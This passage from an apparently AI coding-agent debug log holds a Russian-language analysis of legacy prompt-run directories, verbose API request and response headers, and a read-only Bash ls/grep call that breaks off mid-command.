\u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0439 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u043e\u0439 \u0438 \u0442\u0440\u0435\u043c\u044f \u0433\u0435\u0439\u0442\u0430\u043c\u0438:\\n\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c.\\n\\n\u041f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0435 \u043d\u0438\u0436\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u044e\u0442, \u043d\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u044e\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439\\n[RFC \u0443\u0440\u043e\u0432\u043d\u044f \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md).\\n\u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u043a\u0430\u043a \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f Source-\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u0432\\n[issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609),\\n\u043d\u043e \u0441\u0430\u043c\u0438 \u043f\u043e \u0441\u0435\u0431\u0435 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u043c\u0435\u043d\u044f\u0442\u044c runtime-\u043f\u0430\u043a\u0435\u0442. \u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439\\nissue \u043f\u0443\u0442\u044c `docs/contracts/` \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d: \u043e\u043d\\n\u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u043c `AGENTS.md`; Analysis \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d \u0432 \u043a\u043e\u043d\u0442\u0443\u0440\u0435 \u0438\u043d\u0438\u0446\u0438\u0430\u0442\u0438\u0432\u044b.\\n\\n## \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u043e\u0445\u0432\u0430\u0442\\n\\n\u0421\u043d\u0438\u043c\u043e\u043a \u043d\u0430 2026-09-23 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0432\u0441\u0435 67 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 `RUN-0001`\u2026`RUN-0067` legacy-\\n\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043d\u0430 commit\\n[`8cbf82a`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/8cbf82aa73129ec5747af07f790aaf438b0fb6e9/runs),\\n27 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 JSON-\u044d\u043a\u0441\u043f\u043e\u0440\u0442\u043e\u0432, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f metadata \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0438\\n\u0442\u0440\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f issue #605. \u0414\u0432\u0430 JSON-\u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0434\u0438\u0430\u043b\u043e\u0433\u0438 BCREQ-1104 \u0438\\nBCREQ-1106; \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0435 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438.\\n\u0412\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0447\u0438\u0442\u0430\u043b\u0438\u0441\u044c \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0438 \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c.\\n\\n\u0415\u0434\u0438\u043d\u0438\u0446\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u2014 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u0430 \u043d\u0435\\n\u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u0434\u0435\u0441\u044c \u043d\u0435\u0442 \u043f\u0441\u0438\u0445\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445\\n\u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0439: \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434, \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u043d\u044b\u0439 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e.\\n\u0421\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043d\u0435 \u044d\u043a\u0441\u0442\u0440\u0430\u043f\u043e\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430 \u0432\u0441\u044e \u043f\u043e\u043f\u0443\u043b\u044f\u0446\u0438\u044e \u0431\u0435\u0437\\n\u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430. \u0414\u043b\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u043e\u0439 \u0438\u043d\u0432\u0435\u043d\u0442\u0430\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d read-only \u0441\u043a\u0440\u0438\u043f\u0442\\n[`issue_605_run_inventory.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-605-67068bc98bc2/projects/ba-ai-process/experiments/issue_605_run_inventory.py).\\n\\n### \u041f\u043e\u043b\u043d\u043e\u0442\u0430 evidence\\n\\n| \u0421\u0440\u0435\u0437 | \u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e | \u041a\u0430\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d |\\n| --- | ---: | --- |\\n| \u0412\u0441\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 runs | 67 | Metadata, outputs, logs \u0438 feedback \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u044b \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. |\\n| \u041f\u043e\u043b\u043d\u044b\u0439 \u0434\u0438\u0430\u043b\u043e\u0433 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 run | 17 | \u0421\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0440\u0435\u043f\u043b\u0438\u043a \u0438 \u0438\u0442\u043e\u0433\u043e\u0432. |\",\n[2026-09-29T07:49:49.566Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:49:49.566Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:49:49.566Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:49:49.566Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:49:49.566Z] [INFO]   }\n[2026-09-29T07:49:49.566Z] [INFO] }\n[2026-09-29T07:49:49.607Z] [STDOUT] [log_6a0adc] sending request {\n[2026-09-29T07:49:49.611Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:49:49.615Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:49:49.618Z] [STDOUT]   options: {\n[2026-09-29T07:49:49.620Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:49:49.622Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:49:49.626Z] [STDOUT]     body: {\n[2026-09-29T07:49:49.629Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:49:49.632Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:49:49.635Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:49:49.641Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:49:49.644Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:49:49.647Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:49:49.650Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:49:49.658Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:49:49.663Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:49:49.667Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:49:49.672Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:49:49.681Z] [STDOUT]       stream: true,\n[2026-09-29T07:49:49.685Z] [STDOUT]     },\n[2026-09-29T07:49:49.687Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:49:49.689Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:49:49.690Z] [STDOUT]       aborted: false,\n[2026-09-29T07:49:49.692Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:49:49.693Z] [STDOUT]       onabort: null,\n[2026-09-29T07:49:49.697Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:49:49.701Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:49:49.712Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:49:49.724Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:49:49.752Z] [STDOUT]     },\n[2026-09-29T07:49:49.787Z] [STDOUT]     stream: true,\n[2026-09-29T07:49:49.798Z] [STDOUT]   },\n[2026-09-29T07:49:49.803Z] [STDOUT]   headers: {\n[2026-09-29T07:49:49.812Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:49:49.820Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:49:49.829Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:49:49.852Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:49:49.859Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:49:49.861Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:49:49.863Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:49:49.866Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:49:49.869Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:49:49.871Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1219\",\n[2026-09-29T07:49:49.873Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:49:49.876Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:49:49.878Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:49.880Z] [STDOUT]     \"x-client-request-id\": \"d25623ff-d04f-4760-8a90-a606ef83c7c0\",\n[2026-09-29T07:49:49.883Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:49:49.885Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:49:49.888Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:49:49.890Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:49:49.892Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:49:49.895Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:49:49.897Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:49:49.905Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:49:49.909Z] [STDOUT]   },\n[2026-09-29T07:49:49.917Z] [STDOUT] }\n[2026-09-29T07:49:50.339Z] [STDOUT] [log_6a0adc, request-id: \"req_011CfXN6H6CNhWC8eddKzUm2\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 732ms\n[2026-09-29T07:49:50.346Z] [STDOUT] [log_6a0adc] response start {\n[2026-09-29T07:49:50.354Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:49:50.362Z] [STDOUT]   status: 200,\n[2026-09-29T07:49:50.371Z] [STDOUT]   headers: {\n[2026-09-29T07:49:50.379Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:49:50.382Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:49:50.386Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:49:50.389Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.38\",\n[2026-09-29T07:49:50.394Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:49:50.396Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:49:50.401Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:49:50.406Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:49:50.411Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:49:50.414Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:49:50.417Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:49:50.423Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:49:50.438Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:49:50.447Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:49:50.450Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:49:50.457Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:49:50.463Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:49:50.465Z] [STDOUT]     \"cf-ray\": \"a42964b9184129ad-FRA\",\n[2026-09-29T07:49:50.469Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:49:50.473Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:49:50.476Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:49:50.479Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:49:50.487Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:49:50 GMT\",\n[2026-09-29T07:49:50.490Z] [STDOUT]     \"request-id\": \"req_011CfXN6H6CNhWC8eddKzUm2\",\n[2026-09-29T07:49:50.493Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:49:50.499Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:49:50.505Z] [STDOUT]     traceresponse: \"00-577cd9b81d324a9533ae2a3d703a2c99-868236fdeb98f5c7-01\",\n[2026-09-29T07:49:50.511Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:49:50.515Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:49:50.517Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:49:50.522Z] [STDOUT]   },\n[2026-09-29T07:49:50.557Z] [STDOUT]   durationMs: 732,\n[2026-09-29T07:49:50.560Z] [STDOUT] }\n[2026-09-29T07:49:50.564Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:49:50.568Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:49:50 GMT\",\n[2026-09-29T07:49:50.576Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:49:50.584Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:49:50.591Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:49:50.594Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:49:50.597Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:49:50.601Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:49:50.606Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:49:50.609Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:49:50.618Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:49:50.621Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:49:50.632Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:49:50.635Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:49:50.645Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.38\",\n[2026-09-29T07:49:50.648Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:49:50.652Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:49:50.665Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:49:50.678Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:49:50.687Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:49:50.690Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:49:50.697Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:49:50.701Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:49:50.708Z] [STDOUT]   \"request-id\": \"req_011CfXN6H6CNhWC8eddKzUm2\",\n[2026-09-29T07:49:50.758Z] [STDOUT]   \"traceresponse\": \"00-577cd9b81d324a9533ae2a3d703a2c99-868236fdeb98f5c7-01\",\n[2026-09-29T07:49:50.763Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:49:50.770Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:49:50.776Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:49:50.783Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:49:50.806Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:49:50.815Z] [STDOUT]   \"cf-ray\": \"a42964b9184129ad-FRA\",\n[2026-09-29T07:49:50.832Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:49:50.864Z] [STDOUT] [log_6a0adc] response parsed {\n[2026-09-29T07:49:50.876Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:49:50.883Z] [STDOUT]   status: 200,\n[2026-09-29T07:49:50.891Z] [STDOUT]   body: X {\n[2026-09-29T07:49:50.895Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:49:50.904Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:49:50.912Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:49:50.922Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:49:50.926Z] [STDOUT]     },\n[2026-09-29T07:49:50.930Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:49:50.934Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:49:50.938Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:49:50.941Z] [STDOUT]   },\n[2026-09-29T07:49:50.946Z] [STDOUT]   durationMs: 733,\n[2026-09-29T07:49:50.951Z] [STDOUT] }\n[2026-09-29T07:49:50.955Z] [INFO] {\n[2026-09-29T07:49:50.955Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:49:50.955Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:49:50.955Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:49:50.955Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:49:50.955Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:50.955Z] [INFO]   \"uuid\": \"ee5bc356-94b1-4141-8851-1d80e1bef994\"\n[2026-09-29T07:49:50.955Z] [INFO] }\n[2026-09-29T07:49:51.468Z] [INFO] {\n[2026-09-29T07:49:51.468Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:49:51.468Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:49:51.468Z] [INFO]   \"estimated_tokens\": 233,\n[2026-09-29T07:49:51.468Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:49:51.468Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:51.468Z] [INFO]   \"uuid\": \"5388b8cd-2a34-42d3-aa4e-f22433cc105b\"\n[2026-09-29T07:49:51.468Z] [INFO] }\n[2026-09-29T07:49:51.473Z] [INFO] {\n[2026-09-29T07:49:51.473Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:49:51.473Z] [INFO]   \"message\": {\n[2026-09-29T07:49:51.473Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:49:51.473Z] [INFO]     \"id\": \"msg_011CfXN6HZyYDdoUPrdWFGux\",\n[2026-09-29T07:49:51.473Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:49:51.473Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:49:51.473Z] [INFO]     \"content\": [\n[2026-09-29T07:49:51.473Z] [INFO]       {\n[2026-09-29T07:49:51.473Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:49:51.473Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:49:51.473Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:49:51.473Z] [INFO]     ],\n[2026-09-29T07:49:51.473Z] [INFO]     \"container\": null,\n[2026-09-29T07:49:51.473Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:49:51.473Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:49:51.473Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:49:51.473Z] [INFO]     \"usage\": {\n[2026-09-29T07:49:51.473Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:49:51.473Z] [INFO]       \"cache_creation_input_tokens\": 1638,\n[2026-09-29T07:49:51.473Z] [INFO]       \"cache_read_input_tokens\": 79588,\n[2026-09-29T07:49:51.473Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:49:51.473Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:49:51.473Z] [INFO]         \"ephemeral_1h_input_tokens\": 1638\n[2026-09-29T07:49:51.473Z] [INFO]       },\n[2026-09-29T07:49:51.473Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:49:51.473Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:49:51.473Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:49:51.473Z] [INFO]     },\n[2026-09-29T07:49:51.473Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:49:51.473Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:49:51.473Z] [INFO]     \"context_management\": null\n[2026-09-29T07:49:51.473Z] [INFO]   },\n[2026-09-29T07:49:51.473Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:49:51.473Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:51.473Z] [INFO]   \"uuid\": \"582339d5-4498-44c5-b14c-8d39c66315ce\",\n[2026-09-29T07:49:51.473Z] [INFO]   \"timestamp\": \"2026-09-29T07:49:51.466Z\",\n[2026-09-29T07:49:51.473Z] [INFO]   \"request_id\": \"req_011CfXN6H6CNhWC8eddKzUm2\"\n[2026-09-29T07:49:51.473Z] [INFO] }\n[2026-09-29T07:49:53.813Z] [INFO] {\n[2026-09-29T07:49:53.813Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:49:53.813Z] [INFO]   \"message\": {\n[2026-09-29T07:49:53.813Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:49:53.813Z] [INFO]     \"id\": \"msg_011CfXN6HZyYDdoUPrdWFGux\",\n[2026-09-29T07:49:53.813Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:49:53.813Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:49:53.813Z] [INFO]     \"content\": [\n[2026-09-29T07:49:53.813Z] [INFO]       {\n[2026-09-29T07:49:53.813Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:49:53.813Z] [INFO]         \"id\": \"toolu_019cNsjfHESvnjT4pziFC9Kw\",\n[2026-09-29T07:49:53.813Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:49:53.813Z] [INFO]         \"input\": {\n[2026-09-29T07:49:53.813Z] [INFO]           \"command\": \"cd /tmp/mango_ba_prompts; ls docs/report | grep -i \\\"0065\\\\|rca\\\"; grep -n 